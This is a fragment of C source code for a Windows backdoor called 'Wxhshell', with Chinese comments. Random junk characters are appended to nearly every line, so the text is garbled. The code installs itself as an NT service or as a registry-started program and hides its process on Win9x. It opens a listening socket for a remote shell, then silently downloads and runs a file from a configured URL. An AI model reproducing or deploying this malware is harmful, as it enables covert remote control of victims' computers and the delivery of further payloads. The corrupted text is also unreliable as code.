DWORD PebBaseAddress; N<KsQsy=
DWORD AffinityMask; `|92!Ej
DWORD BasePriority; ;1_3E2E$
ULONG UniqueProcessId; &Wdi
5T8
ULONG InheritedFromUniqueProcessId; !"E/6z2&(k
} PROCESS_BASIC_INFORMATION; 9@Cu5U]
eQ[}ALIq
PROCNTQSIP NtQueryInformationProcess; 5w~J"P6jg
c;a<nTLn
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >s.y1Vg~C
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |,H2ge
F]<2nb7
HANDLE hProcess; 96; gzG@1!
PROCESS_BASIC_INFORMATION pbi; IQd~`
G
Tgla_sMb
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MU '-
if(NULL == hInst ) return 0; ,@M<O!%Cs
r/)ZKO,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <4zSh3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fceO|mSz_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
qf@P9M
vwa*'C
if (!NtQueryInformationProcess) return 0; j`Ek :
W|sU[dxZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >xF&>SDC
if(!hProcess) return 0; qq?o^_^4
aN,?a@B
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^e$!19g
$|[N3
CloseHandle(hProcess); BbL]0i
GZuWAa
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6p&uifY}tR
if(hProcess==NULL) return 0; KP>1%ap6
2r+nr
HMODULE hMod; %(K} 1[
char procName[255]; DH i@ujr
unsigned long cbNeeded; 79o=HiOF99
g "c7$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2BT+[
Gfy9YH~
CloseHandle(hProcess); CeUXGa|C
;"RyHow
if(strstr(procName,"services")) return 1; // 以服务启动 V)u#=OS
MpJ\4D5G
return 0; // 注册表启动 SL+n y(y
} eQ6wEeB9
XVo+ <&
// 主模块 2\#$::B9
int StartWxhshell(LPSTR lpCmdLine) (4C)]
RHQ
{ 0xvSi9
SOCKET wsl; bJ6H6D>
BOOL val=TRUE; hl)jE
06
int port=0; uc]5p(9Hb
struct sockaddr_in door; d6??OO=~>M
A9J{>f
if(wscfg.ws_autoins) Install(); F,K))325
q['3M<q
port=atoi(lpCmdLine); }5$le]
Yn?Xo_Y
if(port<=0) port=wscfg.ws_port; U.I7p
4v{Ye,2
WSADATA data; _)YB*z5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tfv@oPu
&%(SkL_]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *%atE
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l0ZK)
door.sin_family = AF_INET; L`9.Gf
door.sin_addr.s_addr = inet_addr("127.0.0.1"); E7w^A
door.sin_port = htons(port); . _Jypk8
cbzS7q<)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C}L2'l,
closesocket(wsl); @$%.iQ7A;
return 1; yOP$~L#TWs
} 0&\71txrzg
DPmY_[OAE
if(listen(wsl,2) == INVALID_SOCKET) { .vi0DuD6
closesocket(wsl); ^4Se=Hr
z2
return 1; qa8?bNd'f
} fgF@ x
Wxhshell(wsl); /V]i3ac
WSACleanup(); &arJe!K
gnb+i`
return 0; _,e4?grP#
Z}SqiT
} rH\oFCzC
R'atg
9
// 以NT服务方式启动 fI=p^k:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *UG?I|l|I
{ \-[ >bsg
DWORD status = 0; `@u9 fx.
DWORD specificError = 0xfffffff; n%02,pC6,
N1x~-2(
serviceStatus.dwServiceType = SERVICE_WIN32; i 2[8^o`_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,&* BhUC
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YOvhMi
serviceStatus.dwWin32ExitCode = 0; {aK3'-7
serviceStatus.dwServiceSpecificExitCode = 0; )}_}D+2
serviceStatus.dwCheckPoint = 0; l>(*bb1}b
serviceStatus.dwWaitHint = 0; Tn\{*A
;Cty"H,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {CTJX2&
if (hServiceStatusHandle==0) return; ^bdXzjf
N{M25ucAHl
status = GetLastError(); dAOJ:
@y
if (status!=NO_ERROR) 3e\IRF xzb
{ ^\yz`b(A0
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Ho>
serviceStatus.dwCheckPoint = 0; cqm:[0Xf5>
serviceStatus.dwWaitHint = 0; jj 'epbA
serviceStatus.dwWin32ExitCode = status; =k1sF3.V'c
serviceStatus.dwServiceSpecificExitCode = specificError; 23Q 88z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E7B?G3|z3
return; s8';4z
} I'2I'x\M
8"V1h72vcW
serviceStatus.dwCurrentState = SERVICE_RUNNING; %`/F>`
serviceStatus.dwCheckPoint = 0; z XU r34jF
serviceStatus.dwWaitHint = 0; #60gjHYaV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L[`8 :}M
} Q;nC #cg
5HY0 *\
// 处理NT服务事件,比如:启动、停止 $ma@z0%8}
VOID WINAPI NTServiceHandler(DWORD fdwControl) %):pfM;b
{ h2?\A%
switch(fdwControl) 3m$Qd#|
{ qHd7C3
case SERVICE_CONTROL_STOP: taO(\FOm
serviceStatus.dwWin32ExitCode = 0; >S{8sN
serviceStatus.dwCurrentState = SERVICE_STOPPED; NJQy*~P
serviceStatus.dwCheckPoint = 0; 2zX9c<S=5
serviceStatus.dwWaitHint = 0; =&FaMR2
{ jL'R4z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lWP]}Uy=5~
} w:R#F(
'B
return; FNo.#Z5+b
case SERVICE_CONTROL_PAUSE: n(SeJk%>9
serviceStatus.dwCurrentState = SERVICE_PAUSED;
7$IR^
break; zzd PR}VG
case SERVICE_CONTROL_CONTINUE: gp'k(rGH
serviceStatus.dwCurrentState = SERVICE_RUNNING; )6o%6$c
break; OF-g7s6VH
case SERVICE_CONTROL_INTERROGATE: slP>;
break; HoeW6U V
}; T;S6<J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S{{wcH$n'i
} :1]J{,VG
1vJj?Uqc
// 标准应用程序主函数 |PGTP#O<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 95ix~cH3q
{ TWfkr
Ya!PV&"Z
// 获取操作系统版本 'tX}6wurf
OsIsNt=GetOsVer(); ;Qc^xIPy
GetModuleFileName(NULL,ExeFile,MAX_PATH); WQBV~.<Yv
G%K&f1q%
// 从命令行安装 xNLgcb@v>
if(strpbrk(lpCmdLine,"iI")) Install(); q:vGG K^
wZKmU
// 下载执行文件 f*p=j(sF
if(wscfg.ws_downexe) { ,;<M+V3+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HJlxpX$_
WinExec(wscfg.ws_filenam,SW_HIDE); _|;{{8*?
} z 8#{=e
nFn}
if(!OsIsNt) { D^f;X.Qm
// 如果时win9x,隐藏进程并且设置为注册表启动 ,,7hVw
HideProc(); j}fSz)`i
StartWxhshell(lpCmdLine); rQ&XHG>Q*
} W?[
C
au-
else ?t/\ ID
if(StartFromService()) ln6=XDu
// 以服务方式启动 OE _V6Er
StartServiceCtrlDispatcher(DispatchTable); Zv8_<>e
else ?H_>?,^
// 普通方式启动 \pP1k.~UnC
StartWxhshell(lpCmdLine); 5Ux= 5a
<@0S]jy
return 0; Q6N?cQtOT
}